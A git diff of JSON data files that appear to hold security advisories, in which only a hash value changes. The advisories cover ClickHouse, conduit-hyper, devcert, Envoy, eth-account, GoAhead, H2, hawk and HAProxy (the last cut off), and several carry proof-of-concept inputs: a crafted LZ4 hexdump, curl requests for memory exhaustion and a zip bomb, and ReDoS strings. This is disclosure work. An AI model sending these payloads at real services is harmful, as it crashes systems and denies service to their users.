\n\n","description":"CVE-2021-43305 High severity. Heap overflow in ClickHouse leads to remote code execution","date_published":"2022-03-15","xray_id":"XRAY-199960","vul_id":"CVE-2021-43305","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":8.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199961/index.json b/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199961/index.json index 55653ebbb9..0fc94351fc 100644 --- a/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199961/index.json +++ b/assets/data/vulnerabilities/clickhouse-lz4-rce-xray-199961/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"ClickHouse LZ4 RCE","path":"/vulnerabilities/clickhouse-lz4-rce-xray-199961/","content":"Summary
\nA heap overflow in ClickHouse can allow an authenticated network attacker to perform remote code execution
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nThere is no verification that the copy operations in the LZ4::decompressImpl loop and especially the arbitrary copy operation wildCopy<copy_amount>(op, ip, copy_end), don’t exceed the destination buffer’s limits. Note that the lengths of the overflow, as well as source’s allocation size and the overflowing byte contents are fully controlled by the user. Also note that specifically this size check happens after the copy operation while the other copy operations aren’t covered at all.
A low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nThis issue is very similar to CVE-2021-43305, but the vulnerable copy operation is in a different wildCopy call.
PoC
\nMore info in JFrog's Blogpost -
\n00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a
Vulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-43304 High severity. Heap overflow in ClickHouse leads to remote code execution","date_published":"2022-03-15","xray_id":"XRAY-199961","vul_id":"CVE-2021-43304","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":8.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"ClickHouse LZ4 RCE","path":"/vulnerabilities/clickhouse-lz4-rce-xray-199961/","content":"Summary
\nA heap overflow in ClickHouse can allow an authenticated network attacker to perform remote code execution
\nComponent
\n\nAffected versions
\nClickHouse (, 21.10.2.15), fixed in 21.10.2.15
\nDescription
\nThere is no verification that the copy operations in the LZ4::decompressImpl loop and especially the arbitrary copy operation wildCopy<copy_amount>(op, ip, copy_end), don’t exceed the destination buffer’s limits. Note that the lengths of the overflow, as well as source’s allocation size and the overflowing byte contents are fully controlled by the user. Also note that specifically this size check happens after the copy operation while the other copy operations aren’t covered at all.
A low-privileged authenticated network attacker can trigger this issue by sending crafted LZ4 data in a decompression request.
\nThis issue is very similar to CVE-2021-43305, but the vulnerable copy operation is in a different wildCopy call.
PoC
\nMore info in JFrog's Blogpost -
\n00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a......XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |................|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a
Vulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading ClickHouse to version 21.10.2.15.
\nReferences
\n(JFrog) Security Vulnerabilities Found in ClickHouse Open-Source Software
\n\n","description":"CVE-2021-43304 High severity. Heap overflow in ClickHouse leads to remote code execution","date_published":"2022-03-15","xray_id":"XRAY-199961","vul_id":"CVE-2021-43304","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2022-03-15","cvss":8.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/conduit-hyper-dos/index.json b/assets/data/vulnerabilities/conduit-hyper-dos/index.json index fe4efa3fbe..71f58e0c58 100644 --- a/assets/data/vulnerabilities/conduit-hyper-dos/index.json +++ b/assets/data/vulnerabilities/conduit-hyper-dos/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"conduit-hyper missing request size limit DoS","path":"/vulnerabilities/conduit-hyper-dos/","content":"Summary
\nA missing request size limit for HTTP requests in conduit-hyper can allow network attackers to perform denial of service
\nComponent
\n\nAffected versions
\n[0.2.0-alpha.3, 0.4.2), fixed in 0.4.2
\nDescription
\nconduit-hyper would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large Content-Length header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.
PoC
\ngit clone https://github.com/conduit-rust/conduit-hyper\n\ncd conduit-hyper && cargo run --example server\n\ncurl -v -X PUT \"http://127.0.0.1:12345/\" --data `python3 -c\n\"import sys; sys.stdout.write('a'*10000)\"` -H\n\"Content-Length: 11111111111111111111\"\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading conduit-hyper to version 0.4.2
\nReferences
\n\n","description":"CVE-2022-39294 High severity. Missing limit checks in conduit-hyper leads to denial of service","date_published":"2022-11-01","xray_id":"","vul_id":"CVE-2022-39294","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-11-01","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"conduit-hyper missing request size limit DoS","path":"/vulnerabilities/conduit-hyper-dos/","content":"Summary
\nA missing request size limit for HTTP requests in conduit-hyper can allow network attackers to perform denial of service
\nComponent
\n\nAffected versions
\n[0.2.0-alpha.3, 0.4.2), fixed in 0.4.2
\nDescription
\nconduit-hyper would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large Content-Length header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.
PoC
\ngit clone https://github.com/conduit-rust/conduit-hyper\n\ncd conduit-hyper && cargo run --example server\n\ncurl -v -X PUT \"http://127.0.0.1:12345/\" --data `python3 -c\n\"import sys; sys.stdout.write('a'*10000)\"` -H\n\"Content-Length: 11111111111111111111\"\nVulnerability Mitigations
\nNo mitigations are provided for this vulnerability.
\nIn order to fully fix this vulnerability, we recommend upgrading conduit-hyper to version 0.4.2
\nReferences
\n\n","description":"CVE-2022-39294 High severity. Missing limit checks in conduit-hyper leads to denial of service","date_published":"2022-11-01","xray_id":"","vul_id":"CVE-2022-39294","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-11-01","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/devcert-redos-xray-211352/index.json b/assets/data/vulnerabilities/devcert-redos-xray-211352/index.json index 17d31eb2d5..51e5ac6ea1 100644 --- a/assets/data/vulnerabilities/devcert-redos-xray-211352/index.json +++ b/assets/data/vulnerabilities/devcert-redos-xray-211352/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"devcert ReDoS","path":"/vulnerabilities/devcert-redos-xray-211352/","content":"Summary
\nExponential ReDoS in devcert leads to denial of service
\nComponent
\n\nAffected versions
\ndevcert (,1.2.0], fixed in 1.2.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the devcert npm package, when an attacker is able to supply arbitrary input to the certificateFor method
PoC
\n'0' + '000'.repeat(i) + '\\\\x00'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-1929 Medium severity. Exponential ReDoS in devcert leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211352","vul_id":"CVE-2022-1929","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"devcert ReDoS","path":"/vulnerabilities/devcert-redos-xray-211352/","content":"Summary
\nExponential ReDoS in devcert leads to denial of service
\nComponent
\n\nAffected versions
\ndevcert (,1.2.0], fixed in 1.2.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the devcert npm package, when an attacker is able to supply arbitrary input to the certificateFor method
PoC
\n'0' + '000'.repeat(i) + '\\\\x00'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-1929 Medium severity. Exponential ReDoS in devcert leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-211352","vul_id":"CVE-2022-1929","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/envoy-decompressor-dos-xray-227941/index.json b/assets/data/vulnerabilities/envoy-decompressor-dos-xray-227941/index.json index 66926440fa..a4ed79c5da 100644 --- a/assets/data/vulnerabilities/envoy-decompressor-dos-xray-227941/index.json +++ b/assets/data/vulnerabilities/envoy-decompressor-dos-xray-227941/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Envoy proxy decompressor memory exhaustion DoS","path":"/vulnerabilities/envoy-decompressor-dos-xray-227941/","content":"Summary
\nA memory exhaustion issue in Envoy Proxy's decompressors can allow a remote attacker to perform denial of service
\nComponent
\n\nAffected versions
\nEnvoy Proxy (,1.19.5)|(,1.20.4)|(,1.21.3)|(,1.22.1), fixed in [1.19.5]|[1.20.4]|[1.21.3]|[1.22.1]
\nDescription
\nThe Envoy proxy has the possibility to decompress Gzip and Brotli data. These features can be enabled via configuration, by adding the relevant filters. For example, to enable Brotli decompression, the following filter could be added under http_filters in the envoy.yaml configuration file:
name: decompressor\ntyped_config:\n \"@type\": type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor\n decompressor_library:\n name: basic\n typed_config:\n \"@type\": type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli\nThe code that is in charge of decompressing the user supplied data does not implement a size limit for the output buffer, allowing the buffering of virtually unlimited amounts of data by accumulating all the extracted data into one large buffer before sending it upstream. An attacker can send a simple Brotli Zip Bomb (a small zip file that decompresses to a very large file) that can cause severe performance issues or crash the Envoy process due to memory exhaustion.
\nNote that while the vulnerability's root cause exists in both the Gzip and Brotli decompressors, a crashing payload was only demonstrated on the Brotli decompressor (since no Gzip payload was able to exhaust enough memory to cause a crash)
\nPoC
\ncurl -v http://10.0.0.1:10000 -H \"Content-Encoding: br\" -H \"Expect:\" --data-binary @10GB.br
Where 10GB.br is a Brotli-compressed file that decompresses to 10GB
Vulnerability Mitigations
\nIf upgrading is not possible, make sure that your configuration does not allow Brotli decompression. The Brotli decompressor (type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli) can either be completely removed, or replaced with the Gzip decompressor (type.googleapis.com/envoy.extensions.compression.gzip.decompressor.v3.Gzip)
References
\n(JFrog) Denial of Service Vulnerability in Envoy Proxy – CVE-2022-29225
\n\n","description":"CVE-2022-29225 High severity. Memory exhaustion in Envoy proxy decompressors leads to denial of service","date_published":"2022-06-09","xray_id":"XRAY-227941","vul_id":"CVE-2022-29225","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-06-09","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Envoy proxy decompressor memory exhaustion DoS","path":"/vulnerabilities/envoy-decompressor-dos-xray-227941/","content":"Summary
\nA memory exhaustion issue in Envoy Proxy's decompressors can allow a remote attacker to perform denial of service
\nComponent
\n\nAffected versions
\nEnvoy Proxy (,1.19.5)|(,1.20.4)|(,1.21.3)|(,1.22.1), fixed in [1.19.5]|[1.20.4]|[1.21.3]|[1.22.1]
\nDescription
\nThe Envoy proxy has the possibility to decompress Gzip and Brotli data. These features can be enabled via configuration, by adding the relevant filters. For example, to enable Brotli decompression, the following filter could be added under http_filters in the envoy.yaml configuration file:
name: decompressor\ntyped_config:\n \"@type\": type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor\n decompressor_library:\n name: basic\n typed_config:\n \"@type\": type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli\nThe code that is in charge of decompressing the user supplied data does not implement a size limit for the output buffer, allowing the buffering of virtually unlimited amounts of data by accumulating all the extracted data into one large buffer before sending it upstream. An attacker can send a simple Brotli Zip Bomb (a small zip file that decompresses to a very large file) that can cause severe performance issues or crash the Envoy process due to memory exhaustion.
\nNote that while the vulnerability's root cause exists in both the Gzip and Brotli decompressors, a crashing payload was only demonstrated on the Brotli decompressor (since no Gzip payload was able to exhaust enough memory to cause a crash)
\nPoC
\ncurl -v http://10.0.0.1:10000 -H \"Content-Encoding: br\" -H \"Expect:\" --data-binary @10GB.br
Where 10GB.br is a Brotli-compressed file that decompresses to 10GB
Vulnerability Mitigations
\nIf upgrading is not possible, make sure that your configuration does not allow Brotli decompression. The Brotli decompressor (type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli) can either be completely removed, or replaced with the Gzip decompressor (type.googleapis.com/envoy.extensions.compression.gzip.decompressor.v3.Gzip)
References
\n(JFrog) Denial of Service Vulnerability in Envoy Proxy – CVE-2022-29225
\n\n","description":"CVE-2022-29225 High severity. Memory exhaustion in Envoy proxy decompressors leads to denial of service","date_published":"2022-06-09","xray_id":"XRAY-227941","vul_id":"CVE-2022-29225","severity":"high","discovered_by":"Ori Hollander","last_updated":"2022-06-09","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/eth-account-redos-xray-248681/index.json b/assets/data/vulnerabilities/eth-account-redos-xray-248681/index.json index fe0f6a9d63..23f220ec16 100644 --- a/assets/data/vulnerabilities/eth-account-redos-xray-248681/index.json +++ b/assets/data/vulnerabilities/eth-account-redos-xray-248681/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"eth-account ReDoS","path":"/vulnerabilities/eth-account-redos-xray-248681/","content":"Summary
\nExponential ReDoS in eth-account leads to denial of service
\nComponent
\n\nAffected versions
\neth-account (,0.5.9), fixed in 0.5.9
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the encode_structured_data method
PoC
\n{\n \"types\": {\n \"EIP712Domain\": [\n {\"name\": \"aaaa\", \"type\": \"$[11111111111111111111111110\"},\n {\"name\": \"version\", \"type\": \"string\"},\n {\"name\": \"chainId\", \"type\": \"uint256\"},\n {\"name\": \"verifyingContract\", \"type\": \"address\"}\n ]\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-1930 Medium severity. Exponential ReDoS in eth-account leads to denial of service","date_published":"2022-08-11","xray_id":"XRAY-248681","vul_id":"CVE-2022-1930","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-08-11","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"eth-account ReDoS","path":"/vulnerabilities/eth-account-redos-xray-248681/","content":"Summary
\nExponential ReDoS in eth-account leads to denial of service
\nComponent
\n\nAffected versions
\neth-account (,0.5.9), fixed in 0.5.9
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the encode_structured_data method
PoC
\n{\n \"types\": {\n \"EIP712Domain\": [\n {\"name\": \"aaaa\", \"type\": \"$[11111111111111111111111110\"},\n {\"name\": \"version\", \"type\": \"string\"},\n {\"name\": \"chainId\", \"type\": \"uint256\"},\n {\"name\": \"verifyingContract\", \"type\": \"address\"}\n ]\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-1930 Medium severity. Exponential ReDoS in eth-account leads to denial of service","date_published":"2022-08-11","xray_id":"XRAY-248681","vul_id":"CVE-2022-1930","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-08-11","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/index.json b/assets/data/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/index.json index 6dde70ff2b..5cf80f897b 100644 --- a/assets/data/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/index.json +++ b/assets/data/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"GoAhead timing attack auth bypass","path":"/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/","content":"Summary
\nA timing attack in GoAhead allows an attacker to perform authentication bypass on password-protected web pages
\nComponent
\n\nAffected versions
\n(,5.1.3], fixed in 5.1.4
\nDescription
\nThe code that performs password matching when using \"Basic\" HTTP authentication does not use a constant-time memcmp. Furthermore – by default there is no rate-limiting on the number of guesses allowed before blocking the attacking IP. This means that an unauthenticated network attacker can brute-force the HTTP basic password, byte-by-byte, by recording the webserver’s response time until the unauthorized (401) response.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43298 Medium severity. A timing attack in GoAhead allows an attacker to perform authentication bypass on password-protected web pages","date_published":"2022-01-01","xray_id":"XRAY-194044","vul_id":"CVE-2021-43298","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-01-01","cvss":5.3}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"GoAhead timing attack auth bypass","path":"/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/","content":"Summary
\nA timing attack in GoAhead allows an attacker to perform authentication bypass on password-protected web pages
\nComponent
\n\nAffected versions
\n(,5.1.3], fixed in 5.1.4
\nDescription
\nThe code that performs password matching when using \"Basic\" HTTP authentication does not use a constant-time memcmp. Furthermore – by default there is no rate-limiting on the number of guesses allowed before blocking the attacking IP. This means that an unauthenticated network attacker can brute-force the HTTP basic password, byte-by-byte, by recording the webserver’s response time until the unauthorized (401) response.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43298 Medium severity. A timing attack in GoAhead allows an attacker to perform authentication bypass on password-protected web pages","date_published":"2022-01-01","xray_id":"XRAY-194044","vul_id":"CVE-2021-43298","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-01-01","cvss":5.3}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/h2-console-jndi-rce-xray-193805/index.json b/assets/data/vulnerabilities/h2-console-jndi-rce-xray-193805/index.json index 53a2688608..0ac97d6645 100644 --- a/assets/data/vulnerabilities/h2-console-jndi-rce-xray-193805/index.json +++ b/assets/data/vulnerabilities/h2-console-jndi-rce-xray-193805/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"H2 console JNDI RCE","path":"/vulnerabilities/h2-console-jndi-rce-xray-193805/","content":"Summary
\nUnsafe JNDI loading in H2 database console leads to remote code execution
\nComponent
\n\nAffected versions
\nH2 Database (, 2.0.204], fixed in 2.0.206
\nDescription
\nSeveral code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax.naming.Context.lookup function, which allows for remote codebase loading.
The most severe attack vector of this issue is through the H2 console.
\nThe H2 database contains an embedded web-based console, which allows easy management of the database. It’s available by default on http://localhost:8082 when running the H2 package JAR.
\nAccess to the console is protected by a login form, which allows passing the driver and url fields to the corresponding fields of JdbcUtils.getConnection. This leads to unauthenticated RCE, since the username and password are not validated before performing the lookup with the potentially malicious URL.
Although the issue is critical, it does have some mitigating factors -\n1. On vanilla distributions of the H2 database, by default the H2 console only listens to localhost connections – making the default setting safe.\n2. Many vendors may be running the H2 database, but not running the H2 console. Although there are other vectors to exploit this issue other than the console, these other vectors are context-dependent and less likely to be exposed to remote attackers.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nVendors may wish to upgrade their Java (JRE/JDK) version to enable the trustURLCodebase mitigation.\nThis mitigation is enabled by default on the following versions of Java (or any later version) –
- \n
- 6u211 \n
- 7u201 \n
- 8u191 \n
- 11.0.1 \n
The mitigation will deny loading of remote classes via JNDI, but can be bypassed by sending a serialized \"gadget\" Java object through LDAP, as long as the respective \"gadget\" class is included in the classpath (depends on the server that runs the H2 database).
\nReferences
\n(JFrog) JNDI-Related Vulnerability Discovered in H2 Database Console
\n\n","description":"CVE-2021-42392 Critical severity. Unsafe JNDI loading in H2 database console leads to remote code execution","date_published":"2022-01-06","xray_id":"XRAY-193805","vul_id":"CVE-2021-42392","severity":"critical","discovered_by":"Andrey Polkovnychenko","last_updated":"2022-01-07","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"H2 console JNDI RCE","path":"/vulnerabilities/h2-console-jndi-rce-xray-193805/","content":"Summary
\nUnsafe JNDI loading in H2 database console leads to remote code execution
\nComponent
\n\nAffected versions
\nH2 Database (, 2.0.204], fixed in 2.0.206
\nDescription
\nSeveral code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax.naming.Context.lookup function, which allows for remote codebase loading.
The most severe attack vector of this issue is through the H2 console.
\nThe H2 database contains an embedded web-based console, which allows easy management of the database. It’s available by default on http://localhost:8082 when running the H2 package JAR.
\nAccess to the console is protected by a login form, which allows passing the driver and url fields to the corresponding fields of JdbcUtils.getConnection. This leads to unauthenticated RCE, since the username and password are not validated before performing the lookup with the potentially malicious URL.
Although the issue is critical, it does have some mitigating factors -\n1. On vanilla distributions of the H2 database, by default the H2 console only listens to localhost connections – making the default setting safe.\n2. Many vendors may be running the H2 database, but not running the H2 console. Although there are other vectors to exploit this issue other than the console, these other vectors are context-dependent and less likely to be exposed to remote attackers.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nVendors may wish to upgrade their Java (JRE/JDK) version to enable the trustURLCodebase mitigation.\nThis mitigation is enabled by default on the following versions of Java (or any later version) –
- \n
- 6u211 \n
- 7u201 \n
- 8u191 \n
- 11.0.1 \n
The mitigation will deny loading of remote classes via JNDI, but can be bypassed by sending a serialized \"gadget\" Java object through LDAP, as long as the respective \"gadget\" class is included in the classpath (depends on the server that runs the H2 database).
\nReferences
\n(JFrog) JNDI-Related Vulnerability Discovered in H2 Database Console
\n\n","description":"CVE-2021-42392 Critical severity. Unsafe JNDI loading in H2 database console leads to remote code execution","date_published":"2022-01-06","xray_id":"XRAY-193805","vul_id":"CVE-2021-42392","severity":"critical","discovered_by":"Andrey Polkovnychenko","last_updated":"2022-01-07","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/hawk-redos-xray-209780/index.json b/assets/data/vulnerabilities/hawk-redos-xray-209780/index.json index 49424c1b54..c8c66b4609 100644 --- a/assets/data/vulnerabilities/hawk-redos-xray-209780/index.json +++ b/assets/data/vulnerabilities/hawk-redos-xray-209780/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"hawk ReDoS","path":"/vulnerabilities/hawk-redos-xray-209780/","content":"Summary
\nExponential ReDoS in hawk leads to denial of service
\nComponent
\n\nAffected versions
\nhawk (,9.0.1), fixed in 9.0.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the hawk npm package, when an attacker is able to supply arbitrary input to the Hawk.utils.parseHost method
PoC
\n'\\t:0\\r\\n' + '\\t\\r\\n\\t\\r\\n'.repeat(i) + '\\rA'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-29167 Medium severity. Exponential ReDoS in hawk leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-209780","vul_id":"CVE-2022-29167","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"hawk ReDoS","path":"/vulnerabilities/hawk-redos-xray-209780/","content":"Summary
\nExponential ReDoS in hawk leads to denial of service
\nComponent
\n\nAffected versions
\nhawk (,9.0.1), fixed in 9.0.1
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the hawk npm package, when an attacker is able to supply arbitrary input to the Hawk.utils.parseHost method
PoC
\n'\\t:0\\r\\n' + '\\t\\r\\n\\t\\r\\n'.repeat(i) + '\\rA'
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-29167 Medium severity. Exponential ReDoS in hawk leads to denial of service","date_published":"2022-05-30","xray_id":"XRAY-209780","vul_id":"CVE-2022-29167","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-05-30","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/index.json b/assets/data/vulnerabilities/index.json index a213dfc6fe..73d4efa098 100644 --- a/assets/data/vulnerabilities/index.json +++ b/assets/data/vulnerabilities/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":null,"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":null,"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/index.json b/assets/data/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/index.json index 8695128cad..273a770fd9 100644 --- a/assets/data/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/index.json +++ b/assets/data/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Integer overflow in HAProxy leads to HTTP Smuggling","path":"/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/","content":"Summary
\nAn integer overflow in HAProxy leads to HTTP Smuggling via simple network requests
\nComponent
\n\nAffected versions
\nHAProxy [2.0 - 2.0.24], fixed in 2.0.25\nHAProxy [2.1 - 2.1*], no fix. unmaintained version\nHAProxy [2.2 - 2.2.16], fixed in 2.2.17\nHAProxy [2.3 - 2.3.13], fixed in 2.3.14\nHAProxy [2.4 - 2.4.3], fixed in 2.4.4\nHAProxy Enterprise [2.0r1 - 2.0r1-1.0.0-234.1215], fixed in 2.0r1-1.0.0-235.1230\nHAProxy Enterprise [2.1r1 - 2.1r1-1.0.0-238.612], fixed in 2.1r1-1.0.0-238.625\nHAProxy Enterprise [2.2r1 - 2.2r1-1.0.0-241.491], fixed in 2.2r1-1.0.0-241.505\nHAProxy Enterprise [2.3r1 - 2.3r1-1.0.0-242.330], fixed in 2.3r1-1.0.0-242.345\nHAProxy Enterprise [2.4r1 - 2.4r1], fixed in 2.4r1-1.0.0-253.271\nHAproxy Kubernetes Ingress Controller [1.6 - 1.6.6], fixed in 1.6.7\nHAproxy Enterprise Kubernetes Ingress Controller [1.6 - 1.6.6], fixed in 1.6.7\nHAProxy ALOHA [11.5 - 11.5.12], fixed in 11.5.13\nHAProxy ALOHA [12.5 - 12.5.4], fixed in 12.5.5\nHAProxy ALOHA [13.0 - 13.0.6], fixed in 13.0.7
\nDescription
\nDue to an integer overflow, a parsing error is created in HAProxy that allows an attacker to specify two Content-Length headers with different sizes. Subsequently, this allows an attacker to perform HTTP smuggling. This attack allows an adversary to smuggle HTTP requests to the backend server, without the proxy server being aware of it. The smuggled requests have various impacts, depending on HAProxy’s configuration and the backend web server configuration: Bypassing security controls, including any ACLs defined in HAProxy, Gaining unauthorized access to sensitive data, Executing unauthorized commands or modifying data, Hijacking user sessions, Exploiting a reflected XSS vulnerability without user interaction.
PoC
\nAny attacker that can send requests through the proxy, can exploit this vulnerability, by sending requests such as:
